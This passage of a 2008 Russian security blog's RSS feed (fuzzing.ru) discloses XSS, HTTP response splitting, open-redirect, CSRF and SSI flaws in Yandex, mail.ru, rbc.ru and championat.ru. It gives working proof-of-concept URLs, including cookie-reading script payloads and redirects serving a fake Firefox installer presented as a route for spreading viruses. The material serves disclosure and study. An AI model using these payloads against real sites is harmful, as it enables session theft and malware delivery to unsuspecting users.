<li><a href="http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html&amp;part=%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%27%72%65%66%72%65%73%68%27%20%63%6F%6E%74%65%6E%74%3D%27%30%3B%75%72%6C%3D%68%74%74%70%3A%2F%2F%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65%27%3E%3C%2F%6D%65%74%61%3E" target="_blank"><strong>http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html∂=%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%27%72%65%66%72%65%73%68%27%20%63%6F%6E%74%65%6E%74%3D%27%30%3B%75%72%6C%3D%68%74%74%70%3A%2F%2F%66%75%7A%7A%69%6E%67%2E%72%75%2F%62%6C%6F%67%2F%66%69%6C%65%73%2F%46%69%72%65%66%6F%78%53%65%74%75%70%2E%65%78%65%27%3E%3C%2F%6D%65%74%61%3E</strong></a></li>
</ul>
<p>По другим примерам аналог находится чуть более сложно.</p>
]]></content:encoded>
			<wfw:commentRss>http://fuzzing.ru/blog/2008/10/20/obnovlenie-ispravlenie-uyazvimostej-suggestyandexru/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Множественные уязвимости в сервисе поисковых подсказок Яндекса (suggest.yandex.ru)</title>
		<link>http://fuzzing.ru/blog/2008/10/16/mnozhestvennye-uyazvimosti-v-servise-poiskovyx-podskazok-yandeksa-suggestyandexru/</link>
		<comments>http://fuzzing.ru/blog/2008/10/16/mnozhestvennye-uyazvimosti-v-servise-poiskovyx-podskazok-yandeksa-suggestyandexru/#comments</comments>
		<pubDate>Thu, 16 Oct 2008 13:49:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Уязвимости]]></category>

		<guid isPermaLink="false">http://fuzzing.ru/blog/2008/10/16/mnozhestvennye-uyazvimosti-v-servise-poiskovyx-podskazok-yandeksa-suggestyandexru/</guid>
		<description><![CDATA[

Тип уязвимости: Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.
Приложение: /suggest-ya.cgi
GET-переменные: part

Пример: http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html&#38;part=&#60;script&#62;alert(document.cookie)&#60;/script&#62;

Тип уязвимости: Расщепление HTTP-запроса (HTTP Response Splitting)
Приложение: /suggest-ya.cgi
GET-переменные: ct

Пример: http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html%0d%0aSet-cookie:Fuzzing=fuzzing.ru%0d%0a%0d%0a&#38;part=fuzzing.ru (устанавливает cookie от имени сервера)
Простые примеры применения, не говоря уже о сложных вариантах.

Универсальный редиректор - http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html%0d%0aLocation:%20http://fuzzing.ru/%0d%0a%0d%0a&#38;part=fuzzing.ru


?спользование уязвимостей других приложений или распостранение вирусов (подмена content-type)

Можно предложить, к примеру, скачать с Яндекса великолепную [...]]]></description>
			<content:encoded><![CDATA[<p><img border="0" width="162" src="http://fuzzing.ru/blog/wp-content/uploads/2008/10/yandex_all.png" alt="Найдется все" height="100" /></p>
<ul>
<li><strong>Тип уязвимости:</strong> Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.<br />
<strong>Приложение:</strong> /suggest-ya.cgi<br />
<strong>GET-переменные:</strong> part</li>
</ul>
<p><strong>Пример:</strong> <strong><a target="_blank" href="http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html&amp;part=&lt;script&gt;alert(document.cookie)&lt;/script&gt;">http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html&amp;part=&lt;script&gt;alert(document.cookie)&lt;/script&gt;</a></strong></p>
<ul>
<li><strong>Тип уязвимости:</strong> Расщепление HTTP-запроса (HTTP Response Splitting)<br />
<strong>Приложение:</strong> /suggest-ya.cgi<br />
<strong>GET-переменные: </strong>ct</li>
</ul>
<p><strong>Пример:</strong> <strong><a target="_blank" href="http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html%0d%0aSet-cookie:Fuzzing=fuzzing.ru%0d%0a%0d%0a&amp;part=fuzzing.ru">http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html%0d%0aSet-cookie:Fuzzing=fuzzing.ru%0d%0a%0d%0a&amp;part=fuzzing.ru</a></strong> (устанавливает cookie от имени сервера)</p>
<h3>Простые примеры применения, не говоря уже о сложных вариантах.</h3>
<ul>
<li><strong>Универсальный редиректор</strong> - <a href="http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html%0d%0aLocation:%20http://fuzzing.ru/%0d%0a%0d%0a&amp;part=fuzzing.ru"></a><strong><a target="_blank" href="http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html%0d%0aLocation:%20http://fuzzing.ru/%0d%0a%0d%0a&amp;part=fuzzing.ru">http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html%0d%0aLocation:%20http://fuzzing.ru/%0d%0a%0d%0a&amp;part=fuzzing.ru</a></strong></li>
</ul>
<ul>
<li><strong><span>?спользование уязвимостей других приложений или распостранение вирусов (подмена content-type)</span></strong></li>
</ul>
<p>Можно предложить, к примеру, скачать с Яндекса великолепную программу Firefox с поиском Яндекса</p>
<p><strong><span><a href="http://suggest.yandex.ru/suggest-ya.cgi?ct=application/x-msdos-program%0d%0aLocation:%20http://fuzzing.ru/blog/files/FirefoxSetup.exe%0d%0a%0d%0a&amp;part=fuzzing.ru">http://suggest.yandex.ru/suggest-ya.cgi?ct=application/x-msdos-program%0d%0aLocation:%20http://fuzzing.ru/blog/files/FirefoxSetup.exe%0d%0a%0d%0a&amp;part=fuzzing.ru</a></span></strong></p>
<p>?ли любое другое приложение или мультимедиа-файл. К примеру.</p>
<p><strong><a href="http://suggest.yandex.ru/suggest-ya.cgi?ct=audio/mp3%0d%0aLocation:%20http://fuzzing.ru/blog/files/somedata.mp3%0d%0a%0d%0a&amp;part=fuzzing.ru">http://suggest.yandex.ru/suggest-ya.cgi?ct=audio/mp3%0d%0aLocation:%20http://fuzzing.ru/blog/files/somedata.mp3%0d%0a%0d%0a&amp;part=fuzzing.ru</a></strong></p>
<ul>
<li><strong>Подмена содержимого страницы </strong>- <strong><a target="_blank" href="http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html;charset=utf-8%0d%0a%0d%0a%D0%91%D0%BB%D0%BE%D0%B3%20fuzzing.ru&lt;script&gt;//&amp;part=fuzzing.ru">http://suggest.yandex.ru/suggest-ya.cgi?ct=text/html;charset=utf-8%0d%0a%0d%0a%D0%91%D0%BB%D0%BE%D0%B3%20fuzzing.ru&lt;script&gt;//&amp;part=fuzzing.ru</a></strong></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://fuzzing.ru/blog/2008/10/16/mnozhestvennye-uyazvimosti-v-servise-poiskovyx-podskazok-yandeksa-suggestyandexru/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Р?Т-2008 - Fuzzing: ключевая концепция обеспечения безопасности проекта.</title>
		<link>http://fuzzing.ru/blog/2008/07/01/rit-2008-fuzzing-klyuchevaya-koncepciya-obespecheniya-bezopasnosti-proekta/</link>
		<comments>http://fuzzing.ru/blog/2008/07/01/rit-2008-fuzzing-klyuchevaya-koncepciya-obespecheniya-bezopasnosti-proekta/#comments</comments>
		<pubDate>Tue, 01 Jul 2008 19:29:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Публикации]]></category>

		<guid isPermaLink="false">http://fuzzing.ru/blog/2008/07/01/rit-2008-fuzzing-klyuchevaya-koncepciya-obespecheniya-bezopasnosti-proekta/</guid>
		<description><![CDATA[На недавно про?ед?ей конференции Р?Т-2008 попытался рассмотреть вопрос информационной безопасности (применительно к web, а еще точнее к интернет-системам) проектов, особенностей и проблем реализации такого типа работ. ?нтерес доклад вызвал у неболь?ого количества специалистов, но он был весьма предметный. Другого ожидать и не приходится: внимание подобным вопросам у нас уделяется немного. 
(Either JavaScript is not active or you [...]]]></description>
			<content:encoded><![CDATA[<p align="left">На недавно про?ед?ей конференции Р?Т-2008 попытался рассмотреть вопрос информационной безопасности (применительно к web, а еще точнее к интернет-системам) проектов, особенностей и проблем реализации такого типа работ. ?нтерес доклад вызвал у неболь?ого количества специалистов, но он был весьма предметный. Другого ожидать и не приходится: внимание подобным вопросам у нас уделяется немного. </p>
<p align="center"><object type="application/x-shockwave-flash" data="http://static.slideshare.net/swf/ssplayer2.swf?doc=fuzzingqaakomlev-1214939733305090-8" width="400" height="350" class="embedflash"><param name="movie" value="http://static.slideshare.net/swf/ssplayer2.swf?doc=fuzzingqaakomlev-1214939733305090-8" /><small>(Either JavaScript is not active or you are using an old version of Adobe Flash Player. <a href="http://www.adobe.com/de/">Please install the newest Flash Player</a>.)</small></object></p>
]]></content:encoded>
			<wfw:commentRss>http://fuzzing.ru/blog/2008/07/01/rit-2008-fuzzing-klyuchevaya-koncepciya-obespecheniya-bezopasnosti-proekta/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Опубликованы книги &#8220;Fuzzing: Brute Force Vulnerability Discovery&#8221; и &#8220;AJAX Security&#8221;</title>
		<link>http://fuzzing.ru/blog/2008/07/01/knigi-fuzzing-brute-force-vulnerability-discovery-i-ajax-security/</link>
		<comments>http://fuzzing.ru/blog/2008/07/01/knigi-fuzzing-brute-force-vulnerability-discovery-i-ajax-security/#comments</comments>
		<pubDate>Tue, 01 Jul 2008 18:34:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Хорошие книги]]></category>

		<guid isPermaLink="false">http://fuzzing.ru/blog/2008/07/01/knigi-fuzzing-brute-force-vulnerability-discovery-i-ajax-security/</guid>
		<description><![CDATA[
Краткое содержание книги &#8220;AJAX Security&#8221; (главы), книга &#8220;Fuzzing: Brute Force Vulnerability Discovery&#8221; описывалась уже ранее в анонсе

Introduction to Ajax Security
The Heist
Web Attacks
Ajax Attack Surface
Ajax Code Complexity
Transparency in Ajax Applications
Hijacking Ajax Applications
Attacking Client-Side Storage
Offline Ajax Applications
Request Origin Issues
Web Mashups and Aggregators
Attacking the Presentation Layer
JavaScript Worms
Testing Ajax Applications
Analysis of Ajax Frameworks

  Скачать книги можно здесь (PDF):

 AJAX Security,  Fuzzing: Brute [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #0000ee; text-decoration: underline"><img src="http://fuzzing.ru/blog/wp-content/uploads/2008/07/41rxe0sjeil_.jpg" alt="41rxe0sjeil_.jpg" style="padding: 5px" /><img src="http://fuzzing.ru/blog/wp-content/uploads/2008/07/41emmfejfpl.jpg" alt="AJAXsecurity" style="padding: 5px" /></span></p>
<p>Краткое содержание книги &#8220;AJAX Security&#8221; (главы), книга &#8220;Fuzzing: Brute Force Vulnerability Discovery&#8221; описывалась уже ранее в <a href="http://fuzzing.ru/blog/2007/11/06/anons-skoro-vyjdet-v-elektronnom-variante-unikalnaya-kniga-fuzzing-brute-force-vulnerability-discovery/">анонсе</a></p>
<ul>
<li>Introduction to Ajax Security</li>
<li>The Heist</li>
<li>Web Attacks</li>
<li>Ajax Attack Surface</li>
<li>Ajax Code Complexity</li>
<li>Transparency in Ajax Applications</li>
<li>Hijacking Ajax Applications</li>
<li>Attacking Client-Side Storage</li>
<li>Offline Ajax Applications</li>
<li>Request Origin Issues</li>
<li>Web Mashups and Aggregators</li>
<li>Attacking the Presentation Layer</li>
<li>JavaScript Worms</li>
<li>Testing Ajax Applications</li>
<li>Analysis of Ajax Frameworks</li>
</ul>
<p>  <span style="font-size: small">Скачать книги можно здесь (PDF):</span></p>
<p><span style="font-size: small"></span><br />
<img border="0" align="absMiddle" width="48" src="http://fuzzing.ru/blog/wp-content/themes/pdawn-10/images/pdf.gif" height="49" style="width: 48px; height: 49px" /> <span style="font-weight: bold"><a target="_blank" href="http://books.fuzzing.ru/Addison.Wesley.Ajax.Security.Dec.2007.pdf" title="AJAX Security">AJAX Security</a>, </span><span style="font-weight: bold"><span style="font-weight: normal"><strong> <a target="_blank" href="http://books.fuzzing.ru/Fuzzing-%20Brute%20Force%20Vulnerability%20Discovery.pdf" title="Fuzzing: Brute Force Vulnerability Discovery">Fuzzing: Brute Force Vulnerability Discovery.</a></strong></span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://fuzzing.ru/blog/2008/07/01/knigi-fuzzing-brute-force-vulnerability-discovery-i-ajax-security/feed/</wfw:commentRss>
		</item>
		<item>
		<title>CSRF-уязвимости популярных почтовых служб.</title>
		<link>http://fuzzing.ru/blog/2008/04/12/uyazvimosti-populyarnyx-pochtovyx-sluzhb/</link>
		<comments>http://fuzzing.ru/blog/2008/04/12/uyazvimosti-populyarnyx-pochtovyx-sluzhb/#comments</comments>
		<pubDate>Sat, 12 Apr 2008 18:23:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Уязвимости]]></category>

		<guid isPermaLink="false">http://fuzzing.ru/blog/2008/04/12/uyazvimosti-populyarnyx-pochtovyx-sluzhb/</guid>
		<description><![CDATA[  mail.yandex.ru
Тип уязвимости: Межсайтовое выполнение запросов (Cross-site request forgery, CSRF). Недостаточная фильтрация содержимого.
Приложение: Адаптированный TinyMCE
Вредоносный код:  &#60;img src=&#8221;some_GET_request&#8221;/&#62;

  mail.ru
Тип уязвимости: Межсайтовое выполнение запросов (Cross-site request forgery, CSRF). Недостаточная фильтрация содержимого.
Приложение: Собственный редактор.
Вредоносный код:  &#60;img src=&#8221;some_GET_request&#8221;/&#62; 
 

Пример использования: При редактировании письма необходимо вставить строку &#60;img src=&#8221;some_GET_request&#8221;/&#62; в режиме &#8220;простой текст&#8221; и выполнить переключение в режим &#8220;с оформлением&#8221;, далее письмо можно смело отправлять и [...]]]></description>
			<content:encoded><![CDATA[<h5><img align="absMiddle" width="90" src="http://img.yandex.net/i/yandex-v9.gif" height="43" /><img align="absMiddle" src="http://img.yandex.net/wmi/modern/static/10/i/login/heading.gif" />  mail.yandex.ru</h5>
<p><strong>Тип уязвимости:</strong> Межсайтовое выполнение запросов (Cross-site request forgery, CSRF). Недостаточная фильтрация содержимого.<br />
<strong>Приложение:</strong> Адаптированный TinyMCE<strong><br />
</strong><strong>Вредоносный код: </strong> &lt;img src=&#8221;some_GET_request&#8221;/&gt;</p>
<hr color="#003300" />
<h5><img align="absMiddle" width="200" src="http://img.mail.ru/mail/ru/images/logon-mail1.gif" height="54" />  mail.ru</h5>
<p><strong>Тип уязвимости:</strong> Межсайтовое выполнение запросов (Cross-site request forgery, CSRF). Недостаточная фильтрация содержимого.<br />
<strong>Приложение:</strong> Собственный редактор.<strong><br />
</strong><strong>Вредоносный код: </strong> &lt;img src=&#8221;some_GET_request&#8221;/&gt;<strong> </strong><strong><br />
</strong> <strong><br />
<hr color="#99cc00" /></strong></p>
<p><strong>Пример использования:</strong> При редактировании письма необходимо вставить строку &lt;img src=&#8221;some_GET_request&#8221;/&gt; в режиме &#8220;простой текст&#8221; и выполнить переключение в режим &#8220;с оформлением&#8221;, далее письмо можно смело отправлять и смотреть&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://fuzzing.ru/blog/2008/04/12/uyazvimosti-populyarnyx-pochtovyx-sluzhb/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Уязвимости сервисов Яндекса</title>
		<link>http://fuzzing.ru/blog/2008/04/12/uyazvimosti-servisov-yandeksa/</link>
		<comments>http://fuzzing.ru/blog/2008/04/12/uyazvimosti-servisov-yandeksa/#comments</comments>
		<pubDate>Sat, 12 Apr 2008 17:08:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Уязвимости]]></category>

		<guid isPermaLink="false">http://fuzzing.ru/blog/2008/04/12/uyazvimosti-servisov-yandkeksa/</guid>
		<description><![CDATA[   Множественные XSS-уязвимости.

Тип уязвимости: Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.
Приложение: Поисковые формы на домене .yandex.ru
GET-переменные: text

Примеры: частный случай на проекте Яндекс-Маркет.
http://market.yandex.ru/search.xml?text=%5C'%3Balert(document.cookie)%3B%2F%2F
? т.д. Варианты всевозможные.
Примечание: Необходимо учитывать различия в обработке спецсимволов функциями escape(), encodeURI(), и encodeURIComponent(). Также как и не стоит пренебрегать обязательной фильтрацией содержимого на стороне сервера и полагаться на ненадежную [...]]]></description>
			<content:encoded><![CDATA[<h5><img align="absMiddle" width="90" src="http://img.yandex.net/i/yandex-v9.gif" height="43" />   Множественные XSS-уязвимости.</h5>
<ul>
<li><strong>Тип уязвимости:</strong> Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.<br />
<strong>Приложение:</strong> Поисковые формы на домене <strong>.yandex.ru<br />
GET-переменные:</strong> <strong>text</strong></li>
</ul>
<p><strong>Примеры: частный случай на проекте Яндекс-Маркет.</strong></p>
<p><code>http://market.yandex.ru/search.xml?text=%5C'%3Balert(document.cookie)%3B%2F%2F</code><br />
? т.д. Варианты всевозможные.</p>
<p><strong>Примечание: Необходимо учитывать различия в обработке спецсимволов функциями escape(), encodeURI(), и encodeURIComponent(). Также как и не стоит пренебрегать обязательной фильтрацией содержимого на стороне сервера и полагаться на ненадежную фильтрацию на стороне клиента.</strong></p>
<p><span style="color: #ff0000"><strong>Update:</strong></span> <span style="color: #800000"><strong>Так исправлять нельзя! Привет разработчикам</strong></span> - <span style="color: #333300"><code>http://market.yandex.ru/search.xml?cvredirect=1&#038;text=';alert(document.cookie);//</code></span>  (<strike>document.forms[&#8217;login&#8217;].retpath.value</strike> )</p>
<hr />
<h5><img align="absMiddle" width="192" src="http://moikrug.ru/images/logos/moikrug2.png" height="49" />   Множественные XSS-уязвимости.</h5>
<ul>
<li><strong>Тип уязвимости:</strong> Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.<br />
<strong>Приложение:</strong> /circles/, /circles/{extention}/all/, /circles/{extention}/, /circles/{extention}/all/cloud/, где {extention} - university,interest,company,private,school,link,book,city<br />
<strong>GET-переменные: </strong>type, viewmode</li>
</ul>
<p><strong>Примеры:</strong></p>
<p><code>http://moikrug.ru/circles/private/all/cloud/?keywords=test&#038;viewmode="&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt; </code><br />
<code>http://moikrug.ru/circles/company/?keywords=test&#038;type="&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;</code></p>
]]></content:encoded>
			<wfw:commentRss>http://fuzzing.ru/blog/2008/04/12/uyazvimosti-servisov-yandeksa/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Уязвимости на проектах РосБизнесКонсалтинга</title>
		<link>http://fuzzing.ru/blog/2008/01/22/rbc_ru_vuln/</link>
		<comments>http://fuzzing.ru/blog/2008/01/22/rbc_ru_vuln/#comments</comments>
		<pubDate>Tue, 22 Jan 2008 18:34:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Уязвимости]]></category>

		<guid isPermaLink="false">http://fuzzing.ru/blog/2008/01/22/27/</guid>
		<description><![CDATA[   XSS-уязвимости и раскрытие исходного кода на rbc.ru

Тип уязвимости: Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.
Приложение: /cur/cgi-bin/templater.cgi
GET-переменные: ticker_to_name, ticker_from, ticker_to, sum, course

Примеры:
?cfg=converter&#38;ticker_to_name=&#60;script&#62;alert(document.cookie)&#60;/script&#62;
? т.д. Варианты всевозможные.

Тип уязвимости: Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.
Приложение: /fnews.demo
GET-переменные: ticker_to_name, ticker_from, ticker_to, sum, course

Примеры:
/?"onmouseover="alert(document.cookie) - Работает в IE.

Тип уязвимости:  Раскрытие исходного кода (Source code disclosure) -&#62;&#62; Внедрение  [...]]]></description>
			<content:encoded><![CDATA[<h5><img align="absMiddle" width="244" src="http://pics.rbc.ru/img/head/rbc_logo_top_test.gif" alt="РосБизнесКонсалтинг" height="29" title="РосБизнесКонсалтинг" />   XSS-уязвимости и раскрытие исходного кода на rbc.ru</h5>
<ul>
<li><strong>Тип уязвимости:</strong> Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.<br />
<strong>Приложение:</strong> /cur/cgi-bin/templater.cgi<br />
<strong>GET-переменные:</strong> <strong>ticker_to_name, </strong><strong>ticker_from, </strong><strong>ticker_to, sum, course</strong></li>
</ul>
<p><strong>Примеры:</strong></p>
<p><code>?cfg=converter&amp;ticker_to_name=&lt;script&gt;alert(document.cookie)&lt;/script&gt;</code><br />
? т.д. Варианты всевозможные.</p>
<ul>
<li><strong>Тип уязвимости:</strong> Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.<br />
<strong>Приложение:</strong> /fnews.demo<br />
<strong>GET-переменные:</strong> <strong>ticker_to_name, </strong><strong>ticker_from, </strong><strong>ticker_to, sum, course</strong></li>
</ul>
<p><strong>Примеры:</strong></p>
<p><code>/?"onmouseover="alert(document.cookie) - <strong>Работает в IE.</strong></code></p>
<ul>
<li><strong>Тип уязвимости: </strong> Раскрытие исходного кода (Source code disclosure) -&gt;&gt; Внедрение  серверных рас?ирений (SSI Injection)<br />
<strong>Приложение:</strong> /conference/archive.shtml~</li>
</ul>
<p align="justify"><strong>Уязвимый блок кода:</strong> </p>
<p align="justify">&lt;!&#8211;#if expr=&#8221;$QUERY_STRING&#8221; &#8211;&gt;</p>
<p align="justify"> &lt;!&#8211;#include virtual=&#8221;arc/$QUERY_STRING.shtml&#8221; &#8211;&gt;</p>
<p align="justify">&lt;!&#8211;#else &#8211;&gt;</p>
<p align="justify">&lt;!&#8211;#endif &#8211;&gt;</p>
<p><strong>Примечание: Необходимо быть очень аккуратным при редактировании кода на боевом сервере. :)</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://fuzzing.ru/blog/2008/01/22/rbc_ru_vuln/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Уязвимость на cards.yandex.ru</title>
		<link>http://fuzzing.ru/blog/2008/01/19/uyazvimost-na-cardsyandexru/</link>
		<comments>http://fuzzing.ru/blog/2008/01/19/uyazvimost-na-cardsyandexru/#comments</comments>
		<pubDate>Sat, 19 Jan 2008 19:18:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Уязвимости]]></category>

		<guid isPermaLink="false">http://fuzzing.ru/blog/2008/01/19/uyazvimost-na-cardsyandexru/</guid>
		<description><![CDATA[   XSS-уязвимость на cards.yandex.ru.


Тип уязвимости: Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.
Приложение: /my-card.xml

 Примеры:
/my-card.xml?hash=some_hash",eval(alert(document.cookie)),"
Чем опасно? Читаем здесь - http://www.webappsec.org/projects/threat/v1/WASC-TC-v1_0.rus.doc
]]></description>
			<content:encoded><![CDATA[<h5><img align="absMiddle" width="90" src="http://img.yandex.net/i/yandex-v9.gif" height="43" /><img align="absMiddle" width="119" src="http://cards.yandex.ru/i/cards.png" height="25" />   XSS-уязвимость на cards.yandex.ru.</h5>
<h5></h5>
<ul>
<li><strong>Тип уязвимости:</strong> Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.<br />
<strong>Приложение:</strong> /my-card.xml</li>
</ul>
<p> <strong>Примеры</strong>:</p>
<p><code>/my-card.xml?hash=some_hash",eval(alert(document.cookie)),"</code></p>
<p><strong>Чем опасно? Читаем здесь - </strong><a href="http://www.webappsec.org/projects/threat/v1/WASC-TC-v1_0.rus.doc"><strong>http://www.webappsec.org/projects/threat/v1/WASC-TC-v1_0.rus.doc</strong></a></p>
]]></content:encoded>
			<wfw:commentRss>http://fuzzing.ru/blog/2008/01/19/uyazvimost-na-cardsyandexru/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Уязвимости в проекте SUP Fabrik - championat.ru</title>
		<link>http://fuzzing.ru/blog/2008/01/17/uyazvimosti-v-proekte-sup-fabrik-championatru/</link>
		<comments>http://fuzzing.ru/blog/2008/01/17/uyazvimosti-v-proekte-sup-fabrik-championatru/#comments</comments>
		<pubDate>Thu, 17 Jan 2008 17:55:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Уязвимости]]></category>

		<guid isPermaLink="false">http://fuzzing.ru/blog/2008/01/17/uyazvimosti-v-proekte-sup-fabrik-championatru/</guid>
		<description><![CDATA[Уязвимости wap.championat.ru (pda-версия самого популярного спортивного портала).
?так, продолжаем серию публикаций об уязвимостях в проектах SUP Fabrik.    

Тип уязвимости: Расщепление HTTP-запроса (HTTP Response Splitting)
Приложение: /click, параметр uri

Примеры:
- /click?uri=%0d%0aSet-Cookie:mysite=fuzzing.ru%0a%0d%0a%0dBodyContent
- /click?uri=%0aSet-Cookie:mysite=fuzzing.ru%0a%0d%0a%0dBodyContent
Чем опасно? Читаем здесь - http://www.webappsec.org/projects/threat/v1/WASC-TC-v1_0.rus.doc

Тип уязвимости: Доступен метод TRACE
Приложение: Nginx, Apache

Подсказка: Метод доступен на backend&#8217;е. Начиная с версии 0.5.17 nginx на TRACE возвращает 405, либо необходимо закрывать на Apache.
Чем опасно? [...]]]></description>
			<content:encoded><![CDATA[<h5>Уязвимости wap.championat.ru (pda-версия самого популярного спортивного портала).</h5>
<p>?так, продолжаем серию публикаций об уязвимостях в проектах SUP Fabrik.<strong>    </strong></p>
<ul>
<li><strong>Тип уязвимости: Расщепление HTTP-запроса (HTTP Response Splitting)<br />
Приложение: /click, параметр uri</strong></li>
</ul>
<p><strong>Примеры:</strong></p>
<p>- <code>/click?uri=%0d%0aSet-Cookie:mysite=fuzzing.ru%0a%0d%0a%0dBodyContent</code><br />
- <code>/click?uri=%0aSet-Cookie:mysite=fuzzing.ru%0a%0d%0a%0dBodyContent</code></p>
<p><strong>Чем опасно? Читаем здесь - </strong><a href="http://www.webappsec.org/projects/threat/v1/WASC-TC-v1_0.rus.doc"><strong>http://www.webappsec.org/projects/threat/v1/WASC-TC-v1_0.rus.doc</strong></a></p>
<ul>
<li><strong>Тип уязвимости: Доступен метод TRACE</strong><strong><br />
Приложение: Nginx, Apache</strong></li>
</ul>
<p><strong>Подсказка:</strong> Метод доступен на backend&#8217;е. Начиная с версии 0.5.17 nginx на TRACE возвращает 405, либо необходимо закрывать на Apache.</p>
<p><strong>Чем опасно? - </strong><a href="http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf"><strong>http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf</strong></a></p>
<p> На днях будет подробное продолжение&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://fuzzing.ru/blog/2008/01/17/uyazvimosti-v-proekte-sup-fabrik-championatru/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

